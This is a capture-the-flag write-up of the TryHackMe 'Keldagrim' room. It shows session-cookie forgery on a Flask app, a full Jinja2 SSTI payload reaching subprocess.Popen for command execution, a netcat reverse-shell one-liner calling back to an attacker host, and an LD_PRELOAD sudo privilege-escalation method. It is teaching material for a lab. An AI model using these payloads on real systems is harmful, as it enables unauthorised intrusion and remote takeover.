https://tryhackme.com/room/keldagrim

SUMMARY

  • Keldagrim Forge is a Flask web application created with Python.
  • Poor authentication allows the Admin panel to be reached by modifying the session cookie.
  • The web app is susceptible to a SSTI (Server Side Template Injection) attack, due to a cookie value reflected back to the site, allowing remote code execution.
  • A misconfiguration in sudoers allows LD_PRELOAD to be exploited for privilege escalation.

• ssh on port 22
• http on port 80

The dropdown menu link to the admin page is initially inaccessible, and visiting /admin redirects to home.


Examining cookies shows a session cookie with what looks like a base64 encoded string.


Decoding the session cookie shows the value “guest”


Replacing the session cookie with the base64 encoded “admin” makes the admin page accessible.


Now, instead of the home page, the admin page shows “Current user – $2,165”.

Examining the cookies shows a new cookie named “sales”.


Changing the sales cookie value changes what is displayed on the screen after “current user -“. This may be a vector for injection.

According to Hacktricks, a Flask application in a CTF may be susceptible to SSTI. https://book.hacktricks.xyz/pentesting/pentesting-web/flask

In short, a malicious payload can be injected into the cookie, and the template engine will interpret it and execute the command.

A mathematical expression is entered as the sales cookie value, and is evaluated and displayed on screen.


A flask config object can be queried by submitting {{config.item()}} as the sales cookie value. The room creator, @optional threw in a little easter egg here.


To exploit the SSTI to run shell commands a payload string will be built:
▪ an empty string, {{“”.__class__.mro__}} will return a tuple: (<class ‘str’>,<class ‘object’>)
▪ The root object class can be selected with [1] (selecting second item in python list)
▪ A list of object subclasses can be listed with .subclasses().  There are over 400!
▪ A subclass that can be leveraged to run shell commands is ‘subprocess.Popen’.

Trial and error can be used to find the index of this subclass. In this case it is index [401].


▪ This entire process is detailed on @IndominusByte‘s medium article, SSTI in Flask/Jinja2 https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
▪ Per @IndominusByte‘s article, the final payload for remote command execution is in the format:

{{''.__class__.__mro__[1].__subclasses__()[401]('<shell-command-here>',shell=True,stdout=-1).communicate()}}

To obtain a reverse shell, start a listener on the attacking machine and run the nc reverse shell one-liner https://oscp.infosecsanyam.in/shells/linux-reverse-shell-one-liner
▪ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip-address port-number >/tmp/f

Linpeas.sh privilege enumeration script shows the jed user has LD_PRELOAD permission and can run ps command with sudo without a password.


To exploit LD_PRELOAD, a shared library binary can be compiled in C that will be executed before a command in the terminal. This binary can be crafted to spawn a bash shell as the root user, and it will succeed if the command is run as root. In this case it will succeed because jed can run ps with sudo without password, and execute the shared library binary before ‘ps’.

Leave a Reply